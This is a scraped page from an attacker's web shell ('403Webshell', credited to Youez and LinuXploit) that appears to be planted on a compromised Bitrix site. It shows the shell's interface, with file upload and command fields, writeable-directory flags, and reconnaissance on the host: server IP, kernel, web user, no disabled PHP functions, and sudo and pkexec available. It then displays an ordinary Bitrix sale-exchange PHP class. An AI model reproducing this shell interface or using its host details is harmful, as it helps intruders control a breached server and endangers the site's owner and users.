403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/lib/exchange/importoneccontragentbase.php
<?php


namespace Bitrix\Sale\Exchange;

use Bitrix\Main\Error;
use Bitrix\Sale\Exchange\Entity\UserImportBase;
use Bitrix\Sale\Result;
use Bitrix\Sale\Exchange\OneC;

IncludeModuleLangFile($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/exchange/importonecpackage.php');

class ImportOneCContragentBase extends ImportOneCBase
{
	protected function resolveDocumentTypeId(array $fields)
	{
		return OneC\DocumentType::USER_PROFILE;
	}

	/**
	 * @param OneC\DocumentBase[] $documents
	 * @return Result
	 */
	protected function convert(array $documents)
	{
		$result = new Result();
		$list = array();

		foreach($documents as $document)
		{
			$list[] = $this->convertDocument($document);
		}

		if($result->isSuccess())
		{
			$result = $this->checkFields($list);
			if($result->isSuccess())
			{
				$result->setData($list);
			}
		}

		return $result;
	}

	/**
	 * @param UserImportBase[] $items
	 * @return mixed
	 */
	protected function import(array $items)
	{
		$result = new Result();

		foreach($items as $item)
		{
			if($item->getOwnerTypeId() == static::getUserProfileEntityTypeId())
			{
				$params = $item->getFieldValues();
				$fields = $params['TRAITS'];

				$personalTypeId = $params['TRAITS']['PERSON_TYPE_ID'] = $item->resolvePersonTypeId($fields);

				$property = $params['ORDER_PROPS'];
				if(!empty($property))
				{
					$params['ORDER_PROP'] = $item->getPropertyOrdersByConfig($personalTypeId, array(), $property);
				}

				unset($params['ORDER_PROPS']);
				$item->setFields($params);

				$r = $item->load($fields);

				if(intval($personalTypeId)<=0)
					$r->addError(new Error(GetMessage("SALE_EXCHANGE_PACKAGE_ERROR_PERSONAL_TYPE_IS_EMPTY", array("#DOCUMENT_ID#"=>$fields['XML_ID'])), "PACKAGE_ERROR_PERSONAL_TYPE_IS_EPMTY"));

				if($r->isSuccess())
				{
					$r = $this->modifyEntity($item);

					if(intval($item->getId())<=0)
						$r->addError(new Error(GetMessage("SALE_EXCHANGE_PACKAGE_ERROR_USER_IS_EMPTY", array("#DOCUMENT_ID#"=>$fields['XML_ID'])), "PACKAGE_ERROR_USER_IS_EPMTY"));
				}

				if(!$r->isSuccess())
				{
					$result->addErrors($r->getErrors());
					break;
				}
			}
		}

		return $result;
	}

	public static function configuration()
	{
		parent::configuration();

		ManagerImport::registerInstance(static::getUserProfileEntityTypeId(), OneC\ImportSettings::getCurrent());
	}

	/**
	 * @param ImportBase[] $items
	 * @return Result
	 */
	protected function logger(array $items)
	{
		$xmlStreem = $this->getRawData();
		foreach ($items as $item)
		{
			if($item->hasLogging())
			{
				$item->getLogger()
					->setField('MESSAGE', $xmlStreem);
			}
		}
		return parent::logger($items);
	}

	protected function resolveOwnerEntityTypeId($typeId)
	{
		$entityTypeId = EntityType::UNDEFINED;

		switch ($typeId)
		{
			case OneC\DocumentType::USER_PROFILE:
				$entityTypeId = static::getUserProfileEntityTypeId();
				break;
		}
		return $entityTypeId;
	}

	static function getUserProfileEntityTypeId()
	{
		return EntityType::UNDEFINED;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit